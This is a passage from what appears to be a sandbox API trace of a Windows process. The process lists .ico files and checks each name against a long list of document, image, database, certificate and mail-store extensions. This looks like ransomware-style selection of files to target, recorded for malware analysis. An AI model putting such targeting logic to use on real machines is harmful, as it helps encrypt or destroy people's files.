lpString2=".ico") returned -1 [0101.440] lstrlenW (lpString=".cfml") returned 5 [0101.440] lstrcmpiW (lpString1=".cfml", lpString2="5.ico") returned -1 [0101.440] lstrlenW (lpString=".cfu") returned 4 [0101.440] lstrcmpiW (lpString1=".cfu", lpString2=".ico") returned -1 [0101.440] lstrlenW (lpString=".chm") returned 4 [0101.440] lstrcmpiW (lpString1=".chm", lpString2=".ico") returned -1 [0101.440] lstrlenW (lpString=".cin") returned 4 [0101.440] lstrcmpiW (lpString1=".cin", lpString2=".ico") returned -1 [0101.440] lstrlenW (lpString=".class") returned 6 [0101.440] lstrcmpiW (lpString1=".class", lpString2="e5.ico") returned -1 [0101.440] lstrlenW (lpString=".clx") returned 4 [0101.440] lstrcmpiW (lpString1=".clx", lpString2=".ico") returned -1 [0101.440] lstrlenW (lpString=".config") returned 7 [0101.440] lstrcmpiW (lpString1=".config", lpString2="te5.ico") returned -1 [0101.440] lstrlenW (lpString=".cpp") returned 4 [0101.440] lstrcmpiW (lpString1=".cpp", lpString2=".ico") returned -1 [0101.440] lstrlenW (lpString=".cr2") returned 4 [0101.440] lstrcmpiW (lpString1=".cr2", lpString2=".ico") returned -1 [0101.440] lstrlenW (lpString=".crt") returned 4 [0101.440] lstrcmpiW (lpString1=".crt", lpString2=".ico") returned -1 [0101.440] lstrlenW (lpString=".crw") returned 4 [0101.440] lstrcmpiW (lpString1=".crw", lpString2=".ico") returned -1 [0101.440] lstrlenW (lpString=".cs") returned 3 [0101.441] lstrcmpiW (lpString1=".cs", lpString2="ico") returned -1 [0101.441] lstrlenW (lpString=".css") returned 4 [0101.441] lstrcmpiW (lpString1=".css", lpString2=".ico") returned -1 [0101.441] lstrlenW (lpString=".csv") returned 4 [0101.441] lstrcmpiW (lpString1=".csv", lpString2=".ico") returned -1 [0101.441] lstrlenW (lpString=".cub") returned 4 [0101.441] lstrcmpiW (lpString1=".cub", lpString2=".ico") returned -1 [0101.441] lstrlenW (lpString=".dae") returned 4 [0101.441] lstrcmpiW (lpString1=".dae", lpString2=".ico") returned -1 [0101.441] lstrlenW (lpString=".dat") returned 4 [0101.441] lstrcmpiW (lpString1=".dat", lpString2=".ico") returned -1 [0101.441] lstrlenW (lpString=".db") returned 3 [0101.441] lstrcmpiW (lpString1=".db", lpString2="ico") returned -1 [0101.441] lstrlenW (lpString=".dbf") returned 4 [0101.441] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0101.441] lstrlenW (lpString=".dbx") returned 4 [0101.441] lstrcmpiW (lpString1=".dbx", lpString2=".ico") returned -1 [0101.441] lstrlenW (lpString=".dc3") returned 4 [0101.441] lstrcmpiW (lpString1=".dc3", lpString2=".ico") returned -1 [0101.441] lstrlenW (lpString=".dcm") returned 4 [0101.441] lstrcmpiW (lpString1=".dcm", lpString2=".ico") returned -1 [0101.441] lstrlenW (lpString=".dcr") returned 4 [0101.441] lstrcmpiW (lpString1=".dcr", lpString2=".ico") returned -1 [0101.441] lstrlenW (lpString=".der") returned 4 [0101.441] lstrcmpiW (lpString1=".der", lpString2=".ico") returned -1 [0101.441] lstrlenW (lpString=".dib") returned 4 [0101.441] lstrcmpiW (lpString1=".dib", lpString2=".ico") returned -1 [0101.441] lstrlenW (lpString=".dic") returned 4 [0101.441] lstrcmpiW (lpString1=".dic", lpString2=".ico") returned -1 [0101.441] lstrlenW (lpString=".dif") returned 4 [0101.441] lstrcmpiW (lpString1=".dif", lpString2=".ico") returned -1 [0101.441] lstrlenW (lpString=".divx") returned 5 [0101.441] lstrcmpiW (lpString1=".divx", lpString2="5.ico") returned -1 [0101.442] lstrlenW (lpString=".djvu") returned 5 [0101.442] lstrcmpiW (lpString1=".djvu", lpString2="5.ico") returned -1 [0101.442] lstrlenW (lpString=".dng") returned 4 [0101.442] lstrcmpiW (lpString1=".dng", lpString2=".ico") returned -1 [0101.442] lstrlenW (lpString=".doc") returned 4 [0101.442] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0101.442] lstrlenW (lpString=".docm") returned 5 [0101.442] lstrcmpiW (lpString1=".docm", lpString2="5.ico") returned -1 [0101.442] lstrlenW (lpString=".docx") returned 5 [0101.442] lstrcmpiW (lpString1=".docx", lpString2="5.ico") returned -1 [0101.442] lstrlenW (lpString=".dot") returned 4 [0101.442] lstrcmpiW (lpString1=".dot", lpString2=".ico") returned -1 [0101.442] lstrlenW (lpString=".dotm") returned 5 [0101.442] lstrcmpiW (lpString1=".dotm", lpString2="5.ico") returned -1 [0101.442] lstrlenW (lpString=".dotx") returned 5 [0101.442] lstrcmpiW (lpString1=".dotx", lpString2="5.ico") returned -1 [0101.442] lstrlenW (lpString=".dpx") returned 4 [0101.442] lstrcmpiW (lpString1=".dpx", lpString2=".ico") returned -1 [0101.442] lstrlenW (lpString=".dqy") returned 4 [0101.442] lstrcmpiW (lpString1=".dqy", lpString2=".ico") returned -1 [0101.442] lstrlenW (lpString=".dsn") returned 4 [0101.442] lstrcmpiW (lpString1=".dsn", lpString2=".ico") returned -1 [0101.442] lstrlenW (lpString=".dt") returned 3 [0101.442] lstrcmpiW (lpString1=".dt", lpString2="ico") returned -1 [0101.442] lstrlenW (lpString=".dtd") returned 4 [0101.442] lstrcmpiW (lpString1=".dtd", lpString2=".ico") returned -1 [0101.442] lstrlenW (lpString=".dwg") returned 4 [0101.442] lstrcmpiW (lpString1=".dwg", lpString2=".ico") returned -1 [0101.442] lstrlenW (lpString=".dwt") returned 4 [0101.442] lstrcmpiW (lpString1=".dwt", lpString2=".ico") returned -1 [0101.442] lstrlenW (lpString=".dx") returned 3 [0101.442] lstrcmpiW (lpString1=".dx", lpString2="ico") returned -1 [0101.443] lstrlenW (lpString=".dxf") returned 4 [0101.443] lstrcmpiW (lpString1=".dxf", lpString2=".ico") returned -1 [0101.443] lstrlenW (lpString=".edml") returned 5 [0101.443] lstrcmpiW (lpString1=".edml", lpString2="5.ico") returned -1 [0101.443] lstrlenW (lpString=".efd") returned 4 [0101.443] lstrcmpiW (lpString1=".efd", lpString2=".ico") returned -1 [0101.443] lstrlenW (lpString=".elf") returned 4 [0101.443] lstrcmpiW (lpString1=".elf", lpString2=".ico") returned -1 [0101.443] lstrlenW (lpString=".emf") returned 4 [0101.443] lstrcmpiW (lpString1=".emf", lpString2=".ico") returned -1 [0101.443] lstrlenW (lpString=".emz") returned 4 [0101.443] lstrcmpiW (lpString1=".emz", lpString2=".ico") returned -1 [0101.443] lstrlenW (lpString=".epf") returned 4 [0101.443] lstrcmpiW (lpString1=".epf", lpString2=".ico") returned -1 [0101.443] lstrlenW (lpString=".eps") returned 4 [0101.443] lstrcmpiW (lpString1=".eps", lpString2=".ico") returned -1 [0101.443] lstrlenW (lpString=".epsf") returned 5 [0101.443] lstrcmpiW (lpString1=".epsf", lpString2="5.ico") returned -1 [0101.443] lstrlenW (lpString=".epsp") returned 5 [0101.443] lstrcmpiW (lpString1=".epsp", lpString2="5.ico") returned -1 [0101.443] lstrlenW (lpString=".erf") returned 4 [0101.443] lstrcmpiW (lpString1=".erf", lpString2=".ico") returned -1 [0101.443] lstrlenW (lpString=".exr") returned 4 [0101.443] lstrcmpiW (lpString1=".exr", lpString2=".ico") returned -1 [0101.443] lstrlenW (lpString=".f4v") returned 4 [0101.443] lstrcmpiW (lpString1=".f4v", lpString2=".ico") returned -1 [0101.443] lstrlenW (lpString=".fido") returned 5 [0101.443] lstrcmpiW (lpString1=".fido", lpString2="5.ico") returned -1 [0101.443] lstrlenW (lpString=".flm") returned 4 [0101.443] lstrcmpiW (lpString1=".flm", lpString2=".ico") returned -1 [0101.443] lstrlenW (lpString=".flv") returned 4 [0101.444] lstrcmpiW (lpString1=".flv", lpString2=".ico") returned -1 [0101.444] lstrlenW (lpString=".frm") returned 4 [0101.444] lstrcmpiW (lpString1=".frm", lpString2=".ico") returned -1 [0101.444] lstrlenW (lpString=".fxg") returned 4 [0101.444] lstrcmpiW (lpString1=".fxg", lpString2=".ico") returned -1 [0101.444] lstrlenW (lpString=".geo") returned 4 [0101.444] lstrcmpiW (lpString1=".geo", lpString2=".ico") returned -1 [0101.444] lstrlenW (lpString=".gif") returned 4 [0101.444] lstrcmpiW (lpString1=".gif", lpString2=".ico") returned -1 [0101.444] lstrlenW (lpString=".grs") returned 4 [0101.444] lstrcmpiW (lpString1=".grs", lpString2=".ico") returned -1 [0101.444] lstrlenW (lpString=".gz") returned 3 [0101.444] lstrcmpiW (lpString1=".gz", lpString2="ico") returned -1 [0101.444] lstrlenW (lpString=".h") returned 2 [0101.444] lstrcmpiW (lpString1=".h", lpString2="co") returned -1 [0101.444] lstrlenW (lpString=".hdr") returned 4 [0101.444] lstrcmpiW (lpString1=".hdr", lpString2=".ico") returned -1 [0101.444] lstrlenW (lpString=".hpp") returned 4 [0101.444] lstrcmpiW (lpString1=".hpp", lpString2=".ico") returned -1 [0101.444] lstrlenW (lpString=".hta") returned 4 [0101.444] lstrcmpiW (lpString1=".hta", lpString2=".ico") returned -1 [0101.444] lstrlenW (lpString=".htc") returned 4 [0101.444] lstrcmpiW (lpString1=".htc", lpString2=".ico") returned -1 [0101.444] lstrlenW (lpString=".htm") returned 4 [0101.444] lstrcmpiW (lpString1=".htm", lpString2=".ico") returned -1 [0101.444] lstrlenW (lpString=".html") returned 5 [0101.444] lstrcmpiW (lpString1=".html", lpString2="5.ico") returned -1 [0101.444] lstrlenW (lpString=".icb") returned 4 [0101.444] lstrcmpiW (lpString1=".icb", lpString2=".ico") returned -1 [0101.444] lstrlenW (lpString=".ics") returned 4 [0101.444] lstrcmpiW (lpString1=".ics", lpString2=".ico") returned 1 [0101.445] lstrlenW (lpString=".iff") returned 4 [0101.445] lstrcmpiW (lpString1=".iff", lpString2=".ico") returned 1 [0101.445] lstrlenW (lpString=".inc") returned 4 [0101.445] lstrcmpiW (lpString1=".inc", lpString2=".ico") returned 1 [0101.445] lstrlenW (lpString=".indd") returned 5 [0101.445] lstrcmpiW (lpString1=".indd", lpString2="5.ico") returned -1 [0101.445] lstrlenW (lpString=".ini") returned 4 [0101.445] lstrcmpiW (lpString1=".ini", lpString2=".ico") returned 1 [0101.445] lstrlenW (lpString=".iqy") returned 4 [0101.445] lstrcmpiW (lpString1=".iqy", lpString2=".ico") returned 1 [0101.445] lstrlenW (lpString=".j2c") returned 4 [0101.445] lstrcmpiW (lpString1=".j2c", lpString2=".ico") returned 1 [0101.445] lstrlenW (lpString=".j2k") returned 4 [0101.445] lstrcmpiW (lpString1=".j2k", lpString2=".ico") returned 1 [0101.445] lstrlenW (lpString=".java") returned 5 [0101.445] lstrcmpiW (lpString1=".java", lpString2="5.ico") returned -1 [0101.445] lstrlenW (lpString=".jp2") returned 4 [0101.445] lstrcmpiW (lpString1=".jp2", lpString2=".ico") returned 1 [0101.445] lstrlenW (lpString=".jpc") returned 4 [0101.445] lstrcmpiW (lpString1=".jpc", lpString2=".ico") returned 1 [0101.445] lstrlenW (lpString=".jpe") returned 4 [0101.445] lstrcmpiW (lpString1=".jpe", lpString2=".ico") returned 1 [0101.445] lstrlenW (lpString=".jpeg") returned 5 [0101.445] lstrcmpiW (lpString1=".jpeg", lpString2="5.ico") returned -1 [0101.445] lstrlenW (lpString=".jpf") returned 4 [0101.445] lstrcmpiW (lpString1=".jpf", lpString2=".ico") returned 1 [0101.445] lstrlenW (lpString=".jpg") returned 4 [0101.445] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0101.445] lstrlenW (lpString=".jpx") returned 4 [0101.445] lstrcmpiW (lpString1=".jpx", lpString2=".ico") returned 1 [0101.445] lstrlenW (lpString=".js") returned 3 [0101.445] lstrcmpiW (lpString1=".js", lpString2="ico") returned -1 [0101.446] lstrlenW (lpString=".jsf") returned 4 [0101.446] lstrcmpiW (lpString1=".jsf", lpString2=".ico") returned 1 [0101.446] lstrlenW (lpString=".json") returned 5 [0101.446] lstrcmpiW (lpString1=".json", lpString2="5.ico") returned -1 [0101.446] lstrlenW (lpString=".jsp") returned 4 [0101.446] lstrcmpiW (lpString1=".jsp", lpString2=".ico") returned 1 [0101.446] lstrlenW (lpString=".kdc") returned 4 [0101.446] lstrcmpiW (lpString1=".kdc", lpString2=".ico") returned 1 [0101.446] lstrlenW (lpString=".kmz") returned 4 [0101.446] lstrcmpiW (lpString1=".kmz", lpString2=".ico") returned 1 [0101.446] lstrlenW (lpString=".kwm") returned 4 [0101.446] lstrcmpiW (lpString1=".kwm", lpString2=".ico") returned 1 [0101.446] lstrlenW (lpString=".lasso") returned 6 [0101.446] lstrcmpiW (lpString1=".lasso", lpString2="e5.ico") returned -1 [0101.446] lstrlenW (lpString=".lbi") returned 4 [0101.446] lstrcmpiW (lpString1=".lbi", lpString2=".ico") returned 1 [0101.446] lstrlenW (lpString=".lgf") returned 4 [0101.446] lstrcmpiW (lpString1=".lgf", lpString2=".ico") returned 1 [0101.446] lstrlenW (lpString=".lgp") returned 4 [0101.446] lstrcmpiW (lpString1=".lgp", lpString2=".ico") returned 1 [0101.446] lstrlenW (lpString=".log") returned 4 [0101.446] lstrcmpiW (lpString1=".log", lpString2=".ico") returned 1 [0101.446] lstrlenW (lpString=".m1v") returned 4 [0101.446] lstrcmpiW (lpString1=".m1v", lpString2=".ico") returned 1 [0101.446] lstrlenW (lpString=".m4a") returned 4 [0101.446] lstrcmpiW (lpString1=".m4a", lpString2=".ico") returned 1 [0101.446] lstrlenW (lpString=".m4v") returned 4 [0101.446] lstrcmpiW (lpString1=".m4v", lpString2=".ico") returned 1 [0101.446] lstrlenW (lpString=".max") returned 4 [0101.446] lstrcmpiW (lpString1=".max", lpString2=".ico") returned 1 [0101.446] lstrlenW (lpString=".md") returned 3 [0101.447] lstrcmpiW (lpString1=".md", lpString2="ico") returned -1 [0101.447] lstrlenW (lpString=".mda") returned 4 [0101.447] lstrcmpiW (lpString1=".mda", lpString2=".ico") returned 1 [0101.447] lstrlenW (lpString=".mdb") returned 4 [0101.447] lstrcmpiW (lpString1=".mdb", lpString2=".ico") returned 1 [0101.447] lstrlenW (lpString=".mde") returned 4 [0101.447] lstrcmpiW (lpString1=".mde", lpString2=".ico") returned 1 [0101.447] lstrlenW (lpString=".mdf") returned 4 [0101.447] lstrcmpiW (lpString1=".mdf", lpString2=".ico") returned 1 [0101.447] lstrlenW (lpString=".mdw") returned 4 [0101.447] lstrcmpiW (lpString1=".mdw", lpString2=".ico") returned 1 [0101.447] lstrlenW (lpString=".mef") returned 4 [0101.447] lstrcmpiW (lpString1=".mef", lpString2=".ico") returned 1 [0101.447] lstrlenW (lpString=".mft") returned 4 [0101.447] lstrcmpiW (lpString1=".mft", lpString2=".ico") returned 1 [0101.447] lstrlenW (lpString=".mfw") returned 4 [0101.447] lstrcmpiW (lpString1=".mfw", lpString2=".ico") returned 1 [0101.447] lstrlenW (lpString=".mht") returned 4 [0101.447] lstrcmpiW (lpString1=".mht", lpString2=".ico") returned 1 [0101.447] lstrlenW (lpString=".mhtml") returned 6 [0101.447] lstrcmpiW (lpString1=".mhtml", lpString2="e5.ico") returned -1 [0101.447] lstrlenW (lpString=".mka") returned 4 [0101.447] lstrcmpiW (lpString1=".mka", lpString2=".ico") returned 1 [0101.447] lstrlenW (lpString=".mkidx") returned 6 [0101.447] lstrcmpiW (lpString1=".mkidx", lpString2="e5.ico") returned -1 [0101.447] lstrlenW (lpString=".mkv") returned 4 [0101.447] lstrcmpiW (lpString1=".mkv", lpString2=".ico") returned 1 [0101.447] lstrlenW (lpString=".mos") returned 4 [0101.447] lstrcmpiW (lpString1=".mos", lpString2=".ico") returned 1 [0101.447] lstrlenW (lpString=".mov") returned 4 [0101.447] lstrcmpiW (lpString1=".mov", lpString2=".ico") returned 1 [0101.447] lstrlenW (lpString=".mp3") returned 4 [0101.448] lstrcmpiW (lpString1=".mp3", lpString2=".ico") returned 1 [0101.448] lstrlenW (lpString=".mp4") returned 4 [0101.448] lstrcmpiW (lpString1=".mp4", lpString2=".ico") returned 1 [0101.448] lstrlenW (lpString=".mpeg") returned 5 [0101.448] lstrcmpiW (lpString1=".mpeg", lpString2="5.ico") returned -1 [0101.448] lstrlenW (lpString=".mpg") returned 4 [0101.448] lstrcmpiW (lpString1=".mpg", lpString2=".ico") returned 1 [0101.448] lstrlenW (lpString=".mpv") returned 4 [0101.448] lstrcmpiW (lpString1=".mpv", lpString2=".ico") returned 1 [0101.448] lstrlenW (lpString=".mrw") returned 4 [0101.448] lstrcmpiW (lpString1=".mrw", lpString2=".ico") returned 1 [0101.448] lstrlenW (lpString=".msg") returned 4 [0101.448] lstrcmpiW (lpString1=".msg", lpString2=".ico") returned 1 [0101.448] lstrlenW (lpString=".mxl") returned 4 [0101.448] lstrcmpiW (lpString1=".mxl", lpString2=".ico") returned 1 [0101.448] lstrlenW (lpString=".myd") returned 4 [0101.448] lstrcmpiW (lpString1=".myd", lpString2=".ico") returned 1 [0101.448] lstrlenW (lpString=".myi") returned 4 [0101.448] lstrcmpiW (lpString1=".myi", lpString2=".ico") returned 1 [0101.448] lstrlenW (lpString=".nef") returned 4 [0101.448] lstrcmpiW (lpString1=".nef", lpString2=".ico") returned 1 [0101.448] lstrlenW (lpString=".nrw") returned 4 [0101.448] lstrcmpiW (lpString1=".nrw", lpString2=".ico") returned 1 [0101.448] lstrlenW (lpString=".obj") returned 4 [0101.448] lstrcmpiW (lpString1=".obj", lpString2=".ico") returned 1 [0101.448] lstrlenW (lpString=".odb") returned 4 [0101.448] lstrcmpiW (lpString1=".odb", lpString2=".ico") returned 1 [0101.448] lstrlenW (lpString=".odc") returned 4 [0101.448] lstrcmpiW (lpString1=".odc", lpString2=".ico") returned 1 [0101.448] lstrlenW (lpString=".odm") returned 4 [0101.448] lstrcmpiW (lpString1=".odm", lpString2=".ico") returned 1 [0101.449] lstrlenW (lpString=".odp") returned 4 [0101.449] lstrcmpiW (lpString1=".odp", lpString2=".ico") returned 1 [0101.449] lstrlenW (lpString=".ods") returned 4 [0101.449] lstrcmpiW (lpString1=".ods", lpString2=".ico") returned 1 [0101.449] lstrlenW (lpString=".oft") returned 4 [0101.449] lstrcmpiW (lpString1=".oft", lpString2=".ico") returned 1 [0101.449] lstrlenW (lpString=".one") returned 4 [0101.449] lstrcmpiW (lpString1=".one", lpString2=".ico") returned 1 [0101.449] lstrlenW (lpString=".onepkg") returned 7 [0101.449] lstrcmpiW (lpString1=".onepkg", lpString2="te5.ico") returned -1 [0101.449] lstrlenW (lpString=".onetoc2") returned 8 [0101.449] lstrcmpiW (lpString1=".onetoc2", lpString2="ate5.ico") returned -1 [0101.449] lstrlenW (lpString=".opt") returned 4 [0101.449] lstrcmpiW (lpString1=".opt", lpString2=".ico") returned 1 [0101.449] lstrlenW (lpString=".oqy") returned 4 [0101.449] lstrcmpiW (lpString1=".oqy", lpString2=".ico") returned 1 [0101.449] lstrlenW (lpString=".orf") returned 4 [0101.449] lstrcmpiW (lpString1=".orf", lpString2=".ico") returned 1 [0101.449] lstrlenW (lpString=".p12") returned 4 [0101.449] lstrcmpiW (lpString1=".p12", lpString2=".ico") returned 1 [0101.449] lstrlenW (lpString=".p7b") returned 4 [0101.449] lstrcmpiW (lpString1=".p7b", lpString2=".ico") returned 1 [0101.449] lstrlenW (lpString=".p7c") returned 4 [0101.449] lstrcmpiW (lpString1=".p7c", lpString2=".ico") returned 1 [0101.449] lstrlenW (lpString=".pam") returned 4 [0101.449] lstrcmpiW (lpString1=".pam", lpString2=".ico") returned 1 [0101.449] lstrlenW (lpString=".pbm") returned 4 [0101.449] lstrcmpiW (lpString1=".pbm", lpString2=".ico") returned 1 [0101.449] lstrlenW (lpString=".pct") returned 4 [0101.449] lstrcmpiW (lpString1=".pct", lpString2=".ico") returned 1 [0101.449] lstrlenW (lpString=".pcx") returned 4 [0101.449] lstrcmpiW (lpString1=".pcx", lpString2=".ico") returned 1 [0101.450] lstrlenW (lpString=".pdd") returned 4 [0101.450] lstrcmpiW (lpString1=".pdd", lpString2=".ico") returned 1 [0101.450] lstrlenW (lpString=".pdf") returned 4 [0101.450] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0101.450] lstrlenW (lpString=".pdp") returned 4 [0101.450] lstrcmpiW (lpString1=".pdp", lpString2=".ico") returned 1 [0101.450] lstrlenW (lpString=".pef") returned 4 [0101.450] lstrcmpiW (lpString1=".pef", lpString2=".ico") returned 1 [0101.450] lstrlenW (lpString=".pem") returned 4 [0101.450] lstrcmpiW (lpString1=".pem", lpString2=".ico") returned 1 [0101.450] lstrlenW (lpString=".pff") returned 4 [0101.450] lstrcmpiW (lpString1=".pff", lpString2=".ico") returned 1 [0101.450] lstrlenW (lpString=".pfm") returned 4 [0101.450] lstrcmpiW (lpString1=".pfm", lpString2=".ico") returned 1 [0101.450] lstrlenW (lpString=".pfx") returned 4 [0101.450] lstrcmpiW (lpString1=".pfx", lpString2=".ico") returned 1 [0101.450] lstrlenW (lpString=".pgm") returned 4 [0101.450] lstrcmpiW (lpString1=".pgm", lpString2=".ico") returned 1 [0101.450] lstrlenW (lpString=".php") returned 4 [0101.450] lstrcmpiW (lpString1=".php", lpString2=".ico") returned 1 [0101.450] lstrlenW (lpString=".php3") returned 5 [0101.450] lstrcmpiW (lpString1=".php3", lpString2="5.ico") returned -1 [0101.450] lstrlenW (lpString=".php4") returned 5 [0101.450] lstrcmpiW (lpString1=".php4", lpString2="5.ico") returned -1 [0101.450] lstrlenW (lpString=".php5") returned 5 [0101.450] lstrcmpiW (lpString1=".php5", lpString2="5.ico") returned -1 [0101.450] lstrlenW (lpString=".phtml") returned 6 [0101.450] lstrcmpiW (lpString1=".phtml", lpString2="e5.ico") returned -1 [0101.450] lstrlenW (lpString=".pict") returned 5 [0101.450] lstrcmpiW (lpString1=".pict", lpString2="5.ico") returned -1 [0101.450] lstrlenW (lpString=".pl") returned 3 [0101.451] lstrcmpiW (lpString1=".pl", lpString2="ico") returned -1 [0101.451] lstrlenW (lpString=".pls") returned 4 [0101.451] lstrcmpiW (lpString1=".pls", lpString2=".ico") returned 1 [0101.451] lstrlenW (lpString=".pm") returned 3 [0101.451] lstrcmpiW (lpString1=".pm", lpString2="ico") returned -1 [0101.451] lstrlenW (lpString=".png") returned 4 [0101.451] lstrcmpiW (lpString1=".png", lpString2=".ico") returned 1 [0101.451] lstrlenW (lpString=".pnm") returned 4 [0101.451] lstrcmpiW (lpString1=".pnm", lpString2=".ico") returned 1 [0101.451] lstrlenW (lpString=".pot") returned 4 [0101.451] lstrcmpiW (lpString1=".pot", lpString2=".ico") returned 1 [0101.451] lstrlenW (lpString=".potm") returned 5 [0101.451] lstrcmpiW (lpString1=".potm", lpString2="5.ico") returned -1 [0101.451] lstrlenW (lpString=".potx") returned 5 [0101.451] lstrcmpiW (lpString1=".potx", lpString2="5.ico") returned -1 [0101.451] lstrlenW (lpString=".ppa") returned 4 [0101.451] lstrcmpiW (lpString1=".ppa", lpString2=".ico") returned 1 [0101.451] lstrlenW (lpString=".ppam") returned 5 [0101.451] lstrcmpiW (lpString1=".ppam", lpString2="5.ico") returned -1 [0101.451] lstrlenW (lpString=".ppm") returned 4 [0101.451] lstrcmpiW (lpString1=".ppm", lpString2=".ico") returned 1 [0101.451] lstrlenW (lpString=".pps") returned 4 [0101.451] lstrcmpiW (lpString1=".pps", lpString2=".ico") returned 1 [0101.451] lstrlenW (lpString=".ppsm") returned 5 [0101.451] lstrcmpiW (lpString1=".ppsm", lpString2="5.ico") returned -1 [0101.451] lstrlenW (lpString=".ppt") returned 4 [0101.451] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0101.451] lstrlenW (lpString=".pptm") returned 5 [0101.452] lstrcmpiW (lpString1=".pptm", lpString2="5.ico") returned -1 [0101.452] lstrlenW (lpString=".pptx") returned 5 [0101.452] lstrcmpiW (lpString1=".pptx", lpString2="5.ico") returned -1 [0101.452] lstrlenW (lpString=".prn") returned 4 [0101.452] lstrcmpiW (lpString1=".prn", lpString2=".ico") returned 1 [0101.452] lstrlenW (lpString=".ps") returned 3 [0101.452] lstrcmpiW (lpString1=".ps", lpString2="ico") returned -1 [0101.452] lstrlenW (lpString=".psb") returned 4 [0101.452] lstrcmpiW (lpString1=".psb", lpString2=".ico") returned 1 [0101.452] lstrlenW (lpString=".psd") returned 4 [0101.452] lstrcmpiW (lpString1=".psd", lpString2=".ico") returned 1 [0101.452] lstrlenW (lpString=".pst") returned 4 [0101.452] lstrcmpiW (lpString1=".pst", lpString2=".ico") returned 1 [0101.452] lstrlenW (lpString=".ptx") returned 4 [0101.452] lstrcmpiW (lpString1=".ptx", lpString2=".ico") returned 1 [0101.452] lstrlenW (lpString=".pub") returned 4 [0101.452] lstrcmpiW (lpString1=".pub", lpString2=".ico") returned 1 [0101.452] lstrlenW (lpString=".pwm") returned 4 [0101.452] lstrcmpiW (lpString1=".pwm", lpString2=".ico") returned 1 [0101.452] lstrlenW (lpString=".pxr") returned 4 [0101.452] lstrcmpiW (lpString1=".pxr", lpString2=".ico") returned 1 [0101.452] lstrlenW (lpString=".py") returned 3 [0101.452] lstrcmpiW (lpString1=".py", lpString2="ico") returned -1 [0101.452] lstrlenW (lpString=".qt") returned 3 [0101.452] lstrcmpiW (lpString1=".qt", lpString2="ico") returned -1 [0101.452] lstrlenW (lpString=".r3d") returned 4 [0101.452] lstrcmpiW (lpString1=".r3d", lpString2=".ico") returned 1 [0101.452] lstrlenW (lpString=".raf") returned 4 [0101.452] lstrcmpiW (lpString1=".raf", lpString2=".ico") returned 1 [0101.452] lstrlenW (lpString=".rar") returned 4 [0101.452] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0101.452] lstrlenW (lpString=".raw") returned 4 [0101.452] lstrcmpiW (lpString1=".raw", lpString2=".ico") returned 1 [0101.453] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0101.453] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0101.453] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0101.454] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0101.454] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0101.454] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0101.454] FindNextFileW (in: hFindFile=0x4290400, lpFindFileData=0x38ff800 | out: lpFindFileData=0x38ff800*(dwFileAttributes=0x80, 